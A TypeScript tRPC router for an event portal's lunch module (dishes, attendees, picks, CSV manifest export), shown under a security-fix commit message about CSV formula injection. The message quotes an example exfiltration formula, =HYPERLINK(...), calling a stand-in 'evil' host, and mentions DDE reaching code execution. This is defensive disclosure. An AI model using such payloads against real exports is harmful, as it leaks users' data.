Files
MOPC-Portal/src/server/routers/lunch.ts
Matt fbc42f11fd fix(security): defang CSV formula injection in all exports
CSV cells whose first character is one of `=`, `+`, `-`, `@`, `\t`, `\r`
are interpreted as formulas by Excel and LibreOffice when the file is
opened. `=HYPERLINK(...)` and `=WEBSERVICE(...)` execute on cell focus
with no prompt and can exfiltrate row data to an attacker URL; DDE
(`=cmd|...`) reaches RCE behind the "enable content" prompt.

The platform exposes anonymous-attacker reachable sinks:

- `application.submit` is publicProcedure with `projectName` as
  `z.string().min(2).max(200)` — no character filter — so a project
  titled `=HYPERLINK("https://evil/?d="&A1,"Click")` lands in every
  admin export that includes Project.title.
- `userAgent` from any unauthenticated request is persisted to
  `AuditLog.userAgent` and dumped verbatim into the audit-log CSV.

Three independent CSV builders all only escaped commas/quotes/newlines
and missed the formula-prefix class:

- `src/components/shared/csv-export-dialog.tsx` — used by
  export.evaluations, export.assignments, export.filteringResults,
  export.auditLogs, export.projectScores
- `src/components/admin/round/ranking-dashboard.tsx`
- `src/server/routers/lunch.ts` (lunch.exportManifestCsv)

Centralized the fix in a new `src/lib/csv.ts` `csvCell` helper that
prefixes a single quote when the value starts with a formula trigger,
then applies the standard quote/escape rules. Wired into all three
builders.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-29 04:14:42 +02:00

618 lines
20 KiB
TypeScript

import { z } from 'zod'
import { TRPCError } from '@trpc/server'
import { router, adminProcedure, protectedProcedure } from '../trpc'
import { logAudit } from '../utils/audit'
import { buildManifest, buildRecapPayload } from '../services/lunch-recap'
import { sendLunchRecapEmail } from '@/lib/email'
import { csvCell } from '@/lib/csv'
// ─── Shared zod schemas ──────────────────────────────────────────────────────
const dietaryTags = z.array(
z.enum(['VEGETARIAN', 'VEGAN', 'GLUTEN_FREE', 'PESCATARIAN']),
)
const allergens = z.array(
z.enum([
'GLUTEN', 'CRUSTACEANS', 'EGGS', 'FISH', 'PEANUTS', 'SOYBEANS', 'MILK',
'TREE_NUTS', 'CELERY', 'MUSTARD', 'SESAME', 'SULPHITES', 'LUPIN', 'MOLLUSCS',
]),
)
// ─── Router ──────────────────────────────────────────────────────────────────
export const lunchRouter = router({
/**
* Get-or-create the LunchEvent for a program. Lazy creation mirrors
* the hotel pattern: callers don't have to know whether the row
* already exists.
*/
getEvent: adminProcedure
.input(z.object({ programId: z.string() }))
.query(async ({ ctx, input }) => {
const existing = await ctx.prisma.lunchEvent.findUnique({
where: { programId: input.programId },
})
if (existing) return existing
return ctx.prisma.lunchEvent.create({ data: { programId: input.programId } })
}),
// ─── Dish CRUD ────────────────────────────────────────────────────────────
listDishes: adminProcedure
.input(z.object({ lunchEventId: z.string() }))
.query(({ ctx, input }) =>
ctx.prisma.dish.findMany({
where: { lunchEventId: input.lunchEventId },
orderBy: [{ sortOrder: 'asc' }, { createdAt: 'asc' }],
}),
),
createDish: adminProcedure
.input(
z.object({
lunchEventId: z.string(),
name: z.string().min(1).max(200),
dietaryTags,
sortOrder: z.number().int().optional(),
}),
)
.mutation(async ({ ctx, input }) => {
const dish = await ctx.prisma.dish.create({
data: {
lunchEventId: input.lunchEventId,
name: input.name,
dietaryTags: input.dietaryTags,
sortOrder: input.sortOrder ?? 0,
},
})
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_DISH_CREATED',
entityType: 'Dish',
entityId: dish.id,
detailsJson: { name: dish.name, dietaryTags: dish.dietaryTags },
})
return dish
}),
updateDish: adminProcedure
.input(
z.object({
dishId: z.string(),
name: z.string().min(1).max(200).optional(),
dietaryTags: dietaryTags.optional(),
sortOrder: z.number().int().optional(),
}),
)
.mutation(async ({ ctx, input }) => {
const { dishId, ...patch } = input
const dish = await ctx.prisma.dish.update({ where: { id: dishId }, data: patch })
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_DISH_UPDATED',
entityType: 'Dish',
entityId: dish.id,
detailsJson: patch as Record<string, unknown>,
})
return dish
}),
deleteDish: adminProcedure
.input(z.object({ dishId: z.string() }))
.mutation(async ({ ctx, input }) => {
const dish = await ctx.prisma.dish.delete({ where: { id: input.dishId } })
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_DISH_DELETED',
entityType: 'Dish',
entityId: dish.id,
detailsJson: { name: dish.name },
})
return { ok: true as const }
}),
reorderDishes: adminProcedure
.input(
z.object({
ordered: z.array(
z.object({ dishId: z.string(), sortOrder: z.number().int() }),
),
}),
)
.mutation(async ({ ctx, input }) => {
await ctx.prisma.$transaction(
input.ordered.map(({ dishId, sortOrder }) =>
ctx.prisma.dish.update({ where: { id: dishId }, data: { sortOrder } }),
),
)
return { ok: true as const }
}),
// ─── External attendees CRUD ─────────────────────────────────────────────
listExternals: adminProcedure
.input(z.object({ lunchEventId: z.string() }))
.query(({ ctx, input }) =>
ctx.prisma.externalAttendee.findMany({
where: { lunchEventId: input.lunchEventId },
orderBy: { createdAt: 'asc' },
include: { project: { select: { id: true, title: true } } },
}),
),
createExternal: adminProcedure
.input(
z.object({
lunchEventId: z.string(),
name: z.string().min(1).max(200),
email: z.string().email().optional(),
projectId: z.string().nullable().optional(),
roleNote: z.string().max(500).optional(),
dishId: z.string().nullable().optional(),
allergens: allergens.optional(),
allergenOther: z.string().max(500).nullable().optional(),
}),
)
.mutation(async ({ ctx, input }) => {
const ext = await ctx.prisma.externalAttendee.create({
data: {
lunchEventId: input.lunchEventId,
name: input.name,
email: input.email,
projectId: input.projectId ?? null,
roleNote: input.roleNote,
dishId: input.dishId ?? null,
allergens: input.allergens ?? [],
allergenOther: input.allergenOther,
},
})
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_EXTERNAL_CREATED',
entityType: 'ExternalAttendee',
entityId: ext.id,
detailsJson: { name: ext.name, projectId: ext.projectId },
})
return ext
}),
updateExternal: adminProcedure
.input(
z.object({
externalId: z.string(),
name: z.string().min(1).max(200).optional(),
email: z.string().email().nullable().optional(),
projectId: z.string().nullable().optional(),
roleNote: z.string().max(500).nullable().optional(),
dishId: z.string().nullable().optional(),
allergens: allergens.optional(),
allergenOther: z.string().max(500).nullable().optional(),
}),
)
.mutation(async ({ ctx, input }) => {
const { externalId, ...patch } = input
const ext = await ctx.prisma.externalAttendee.update({
where: { id: externalId },
data: patch,
})
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_EXTERNAL_UPDATED',
entityType: 'ExternalAttendee',
entityId: ext.id,
detailsJson: patch as Record<string, unknown>,
})
return ext
}),
deleteExternal: adminProcedure
.input(z.object({ externalId: z.string() }))
.mutation(async ({ ctx, input }) => {
const ext = await ctx.prisma.externalAttendee.delete({
where: { id: input.externalId },
})
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_EXTERNAL_DELETED',
entityType: 'ExternalAttendee',
entityId: ext.id,
detailsJson: { name: ext.name },
})
return { ok: true as const }
}),
// ─── Single-row pick read (used by per-row picker UI) ────────────────────
/**
* Read the current MemberLunchPick for an AttendingMember plus the dishes
* for the parent event. Permission: any user with a TeamMember row on the
* project, OR the AttendingMember.userId itself, OR admin.
*/
getMemberPick: protectedProcedure
.input(z.object({ attendingMemberId: z.string() }))
.query(async ({ ctx, input }) => {
const am = await ctx.prisma.attendingMember.findUnique({
where: { id: input.attendingMemberId },
include: {
confirmation: {
select: {
project: {
select: {
id: true,
programId: true,
teamMembers: { select: { userId: true } },
},
},
},
},
lunchPick: true,
},
})
if (!am) throw new TRPCError({ code: 'NOT_FOUND' })
const userId = ctx.user.id
const role = ctx.user.role
const isAdmin = role === 'SUPER_ADMIN' || role === 'PROGRAM_ADMIN'
const isOnTeam = am.confirmation.project.teamMembers.some(
(tm) => tm.userId === userId,
)
if (!isAdmin && !isOnTeam && am.userId !== userId) {
throw new TRPCError({ code: 'FORBIDDEN' })
}
return { pick: am.lunchPick }
}),
// ─── Manifest + CSV export ───────────────────────────────────────────────
getManifest: adminProcedure
.input(z.object({ programId: z.string() }))
.query(({ ctx, input }) => buildManifest(ctx.prisma, input.programId)),
exportManifestCsv: adminProcedure
.input(z.object({ programId: z.string() }))
.query(async ({ ctx, input }) => {
const m = await buildManifest(ctx.prisma, input.programId)
const lines = [
'Type,Team,Name,Email,Dish,Allergens,Allergen notes',
...m.members.map((row) =>
[
'Member',
csvCell(row.project?.name),
csvCell(row.name),
csvCell(row.email),
csvCell(row.dish?.name),
csvCell(row.allergens.join(';')),
csvCell(row.allergenOther),
].join(','),
),
...m.externals.map((row) =>
[
'External',
csvCell(row.project?.name),
csvCell(row.name),
csvCell(row.email),
csvCell(row.dish?.name),
csvCell(row.allergens.join(';')),
csvCell(row.allergenOther),
].join(','),
),
]
return lines.join('\n')
}),
// ─── Recap preview + send ────────────────────────────────────────────────
getRecapPreview: adminProcedure
.input(z.object({ programId: z.string() }))
.query(({ ctx, input }) => buildRecapPayload(ctx.prisma, input.programId)),
sendRecap: adminProcedure
.input(
z.object({
programId: z.string(),
forceUpdate: z.boolean().optional(),
}),
)
.mutation(async ({ ctx, input }) => {
const event = await ctx.prisma.lunchEvent.findUnique({
where: { programId: input.programId },
})
if (!event) throw new TRPCError({ code: 'NOT_FOUND', message: 'Lunch event not found' })
if (event.recapSentAt && !input.forceUpdate) {
throw new TRPCError({
code: 'PRECONDITION_FAILED',
message: 'Recap already sent. Pass forceUpdate=true to resend.',
})
}
const payload = await buildRecapPayload(ctx.prisma, input.programId)
const adminUsers = await ctx.prisma.user.findMany({
where: {
role: { in: ['SUPER_ADMIN', 'PROGRAM_ADMIN'] },
email: { not: '' },
},
select: { email: true },
})
const recipients = [
...adminUsers.map((u) => u.email).filter(Boolean),
...event.extraRecipients,
]
try {
await sendLunchRecapEmail(recipients, payload)
} catch (e) {
console.error('[lunch.sendRecap] email send failed', e)
// Continue — we still stamp recapSentAt and audit so admins see what happened.
}
const updated = await ctx.prisma.lunchEvent.update({
where: { programId: input.programId },
data: { recapSentAt: new Date() },
})
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_RECAP_SENT',
entityType: 'LunchEvent',
entityId: event.id,
detailsJson: {
recipientCount: recipients.length,
forceUpdate: !!input.forceUpdate,
source: 'manual',
},
})
return updated
}),
// ─── Member reads ────────────────────────────────────────────────────────
/**
* Public-ish event view for the applicant dashboard banner.
* Returns null when the lunch event is disabled (banner hidden).
*/
getEventForMember: protectedProcedure
.input(z.object({ programId: z.string() }))
.query(async ({ ctx, input }) => {
const event = await ctx.prisma.lunchEvent.findUnique({
where: { programId: input.programId },
select: {
id: true,
enabled: true,
eventAt: true,
endAt: true,
venue: true,
notes: true,
changeCutoffHours: true,
},
})
if (!event || !event.enabled) return null
const changeDeadline = event.eventAt
? new Date(event.eventAt.getTime() - event.changeCutoffHours * 3_600_000)
: null
return { ...event, changeDeadline }
}),
/**
* Read-only list of project-attached externals for a project. Visible to
* any team member of the project (so they know who's joining their lunch).
*/
getProjectExternals: protectedProcedure
.input(z.object({ projectId: z.string() }))
.query(async ({ ctx, input }) => {
const userId = ctx.user.id
const role = ctx.user.role
const isAdmin = role === 'SUPER_ADMIN' || role === 'PROGRAM_ADMIN'
if (!isAdmin) {
const tm = await ctx.prisma.teamMember.findFirst({
where: { projectId: input.projectId, userId },
})
if (!tm) throw new TRPCError({ code: 'FORBIDDEN' })
}
return ctx.prisma.externalAttendee.findMany({
where: { projectId: input.projectId },
include: { dish: true },
orderBy: { createdAt: 'asc' },
})
}),
/**
* All picks for the caller's team. Within-team transparency: every team
* member sees their teammates' picks (lunch picks aren't sensitive).
* Cross-team and admins go through the manifest endpoint instead, which
* has more detail.
*/
getTeamPicks: protectedProcedure
.input(z.object({ projectId: z.string() }))
.query(async ({ ctx, input }) => {
const userId = ctx.user.id
const role = ctx.user.role
const isAdmin = role === 'SUPER_ADMIN' || role === 'PROGRAM_ADMIN'
if (!isAdmin) {
const tm = await ctx.prisma.teamMember.findFirst({
where: { projectId: input.projectId, userId },
})
if (!tm) throw new TRPCError({ code: 'FORBIDDEN' })
}
const ams = await ctx.prisma.attendingMember.findMany({
where: { confirmation: { projectId: input.projectId } },
include: {
user: { select: { id: true, name: true, email: true } },
lunchPick: { include: { dish: true } },
},
})
return ams.map((am) => ({
attendingMemberId: am.id,
userId: am.user.id,
memberName: am.user.name ?? am.user.email,
dish: am.lunchPick?.dish ?? null,
allergens: am.lunchPick?.allergens ?? [],
allergenOther: am.lunchPick?.allergenOther ?? null,
hasPicked: !!am.lunchPick?.pickedAt,
}))
}),
// ─── Mixed-permission picker ─────────────────────────────────────────────
/**
* Upsert a MemberLunchPick. Permission:
* - admin (SUPER_ADMIN / PROGRAM_ADMIN): always allowed, no deadline cap
* - team lead of the parent project: allowed before deadline
* - the AttendingMember.userId themselves: allowed before deadline
* - everyone else: FORBIDDEN
* Audit-logged with the actor role (SELF / TEAM_LEAD / ADMIN).
*/
upsertPick: protectedProcedure
.input(
z.object({
attendingMemberId: z.string(),
dishId: z.string().nullable(),
allergens,
allergenOther: z.string().max(500).nullable(),
}),
)
.mutation(async ({ ctx, input }) => {
const am = await ctx.prisma.attendingMember.findUnique({
where: { id: input.attendingMemberId },
include: {
confirmation: {
select: {
project: {
select: {
id: true,
programId: true,
teamMembers: { select: { userId: true, role: true } },
},
},
},
},
lunchPick: true,
},
})
if (!am) {
throw new TRPCError({
code: 'NOT_FOUND',
message: 'Attending member not found',
})
}
const userId = ctx.user.id
const userRole = ctx.user.role
const isAdmin =
userRole === 'SUPER_ADMIN' || userRole === 'PROGRAM_ADMIN'
const isSelf = am.userId === userId
const isLead = am.confirmation.project.teamMembers.some(
(tm) => tm.userId === userId && tm.role === 'LEAD',
)
if (!isAdmin && !isSelf && !isLead) {
throw new TRPCError({
code: 'FORBIDDEN',
message: 'Not allowed to edit this pick',
})
}
// Cutoff check (admins skip)
if (!isAdmin) {
const event = await ctx.prisma.lunchEvent.findUnique({
where: { programId: am.confirmation.project.programId },
select: { eventAt: true, changeCutoffHours: true },
})
if (event?.eventAt) {
const deadline = new Date(
event.eventAt.getTime() - event.changeCutoffHours * 3_600_000,
)
if (new Date() > deadline) {
throw new TRPCError({
code: 'PRECONDITION_FAILED',
message: 'Past lunch change deadline. Contact an admin.',
})
}
}
}
const actorRole: 'SELF' | 'TEAM_LEAD' | 'ADMIN' = isAdmin
? 'ADMIN'
: isLead && !isSelf
? 'TEAM_LEAD'
: 'SELF'
const pick = await ctx.prisma.memberLunchPick.upsert({
where: { attendingMemberId: input.attendingMemberId },
create: {
attendingMemberId: input.attendingMemberId,
dishId: input.dishId,
allergens: input.allergens,
allergenOther: input.allergenOther,
pickedAt: input.dishId ? new Date() : null,
},
update: {
dishId: input.dishId,
allergens: input.allergens,
allergenOther: input.allergenOther,
pickedAt: input.dishId ? new Date() : null,
},
})
await logAudit({
prisma: ctx.prisma,
userId,
action: 'LUNCH_PICK_UPDATED',
entityType: 'MemberLunchPick',
entityId: pick.id,
detailsJson: {
actorRole,
dishId: input.dishId,
allergenCount: input.allergens.length,
},
})
return pick
}),
/** Patch any subset of LunchEvent config fields. Audit-logged. */
updateEvent: adminProcedure
.input(
z.object({
programId: z.string(),
enabled: z.boolean().optional(),
eventAt: z.date().nullable().optional(),
endAt: z.date().nullable().optional(),
venue: z.string().nullable().optional(),
notes: z.string().nullable().optional(),
changeCutoffHours: z.number().int().min(0).max(720).optional(),
reminderHoursBeforeDeadline: z
.number()
.int()
.min(0)
.max(720)
.nullable()
.optional(),
cronEnabled: z.boolean().optional(),
extraRecipients: z.array(z.string().email()).optional(),
}),
)
.mutation(async ({ ctx, input }) => {
const { programId, ...patch } = input
// Lazy-create before patching so updateEvent doubles as "create + update"
await ctx.prisma.lunchEvent.upsert({
where: { programId },
create: { programId },
update: {},
})
const updated = await ctx.prisma.lunchEvent.update({
where: { programId },
data: patch,
})
await logAudit({
prisma: ctx.prisma,
userId: ctx.user.id,
action: 'LUNCH_EVENT_UPDATED',
entityType: 'LunchEvent',
entityId: updated.id,
detailsJson: patch as Record<string, unknown>,
})
return updated
}),
})